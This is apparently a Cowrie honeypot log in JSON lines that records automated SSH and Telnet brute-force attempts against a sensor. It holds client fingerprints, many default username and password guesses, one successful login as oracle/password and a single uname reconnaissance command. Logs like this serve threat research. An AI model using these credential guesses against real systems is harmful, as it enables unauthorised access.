{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:01.321741Z","src_ip":"192.109.200.237","session":"1a6a9eab1bf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:01.405485Z","src_ip":"192.109.200.237","session":"1a6a9eab1bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:01.662416Z","src_ip":"192.109.200.237","session":"1a6a9eab1bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:01.832729Z","src_ip":"117.50.193.195","session":"d57aa02ee7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:02.757168Z","src_ip":"192.109.200.237","session":"1a6a9eab1bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:03.068787Z","src_ip":"117.50.193.195","session":"d57aa02ee7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":41274,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d666877e0d4","protocol":"ssh","message":"New connection: 117.50.193.195:41274 (10.17.0.5:22) [session: 3d666877e0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:03.331765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:03.339252Z","src_ip":"117.50.193.195","session":"3d666877e0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:03.595137Z","src_ip":"117.50.193.195","session":"3d666877e0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43226,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f593a04404d","protocol":"ssh","message":"New connection: 192.109.200.237:43226 (159.203.135.109:22) [session: 0f593a04404d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:04.404184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:04.413634Z","src_ip":"192.109.200.237","session":"0f593a04404d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:04.498050Z","src_ip":"192.109.200.237","session":"0f593a04404d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:04.747167Z","src_ip":"192.109.200.237","session":"0f593a04404d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:05.073413Z","src_ip":"192.109.200.237","session":"0f593a04404d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:05.077269Z","src_ip":"192.109.200.237","session":"0f593a04404d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:05.106327Z","src_ip":"117.50.193.195","session":"3d666877e0d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:05.229442Z","src_ip":"192.109.200.237","session":"0f593a04404d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:05.246844Z","src_ip":"192.109.200.237","session":"0f593a04404d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.22942662239075,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:06.036738Z","src_ip":"152.42.224.71","session":"ef1978673964","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:06.359791Z","src_ip":"117.50.193.195","session":"3d666877e0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":41282,"dst_ip":"10.17.0.5","dst_port":22,"session":"50fe3c5d601f","protocol":"ssh","message":"New connection: 117.50.193.195:41282 (10.17.0.5:22) [session: 50fe3c5d601f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:06.571366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:06.581989Z","src_ip":"117.50.193.195","session":"50fe3c5d601f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43232,"dst_ip":"159.203.135.109","dst_port":22,"session":"248649e33fea","protocol":"ssh","message":"New connection: 192.109.200.237:43232 (159.203.135.109:22) [session: 248649e33fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:07.466080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:07.471835Z","src_ip":"192.109.200.237","session":"248649e33fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:07.558597Z","src_ip":"192.109.200.237","session":"248649e33fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:07.898748Z","src_ip":"192.109.200.237","session":"248649e33fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:08.984679Z","src_ip":"192.109.200.237","session":"248649e33fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43482,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d1ac86e1f2","protocol":"telnet","message":"New connection: 152.42.224.71:43482 (10.17.0.5:23) [session: d9d1ac86e1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:09.054397Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57038,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f14ba78ae6c","protocol":"ssh","message":"New connection: 192.109.200.237:57038 (159.203.135.109:22) [session: 7f14ba78ae6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:10.646443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:10.652465Z","src_ip":"192.109.200.237","session":"7f14ba78ae6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:10.736945Z","src_ip":"192.109.200.237","session":"7f14ba78ae6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:10.985599Z","src_ip":"192.109.200.237","session":"7f14ba78ae6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:12.072690Z","src_ip":"192.109.200.237","session":"7f14ba78ae6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57048,"dst_ip":"159.203.135.109","dst_port":22,"session":"4853d81a3b25","protocol":"ssh","message":"New connection: 192.109.200.237:57048 (159.203.135.109:22) [session: 4853d81a3b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:13.693282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:13.700451Z","src_ip":"192.109.200.237","session":"4853d81a3b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:13.787699Z","src_ip":"192.109.200.237","session":"4853d81a3b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:14.044852Z","src_ip":"192.109.200.237","session":"4853d81a3b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:15.130929Z","src_ip":"192.109.200.237","session":"4853d81a3b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57064,"dst_ip":"159.203.135.109","dst_port":22,"session":"0beeec0ddb4d","protocol":"ssh","message":"New connection: 192.109.200.237:57064 (159.203.135.109:22) [session: 0beeec0ddb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:16.692037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:16.698408Z","src_ip":"192.109.200.237","session":"0beeec0ddb4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:16.782690Z","src_ip":"192.109.200.237","session":"0beeec0ddb4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:17.051390Z","src_ip":"192.109.200.237","session":"0beeec0ddb4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:18.007963Z","src_ip":"117.50.193.195","session":"50fe3c5d601f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:18.138057Z","src_ip":"192.109.200.237","session":"0beeec0ddb4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:19.288286Z","src_ip":"117.50.193.195","session":"50fe3c5d601f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57078,"dst_ip":"159.203.135.109","dst_port":22,"session":"e109e82c4d52","protocol":"ssh","message":"New connection: 192.109.200.237:57078 (159.203.135.109:22) [session: e109e82c4d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:19.719190Z"}
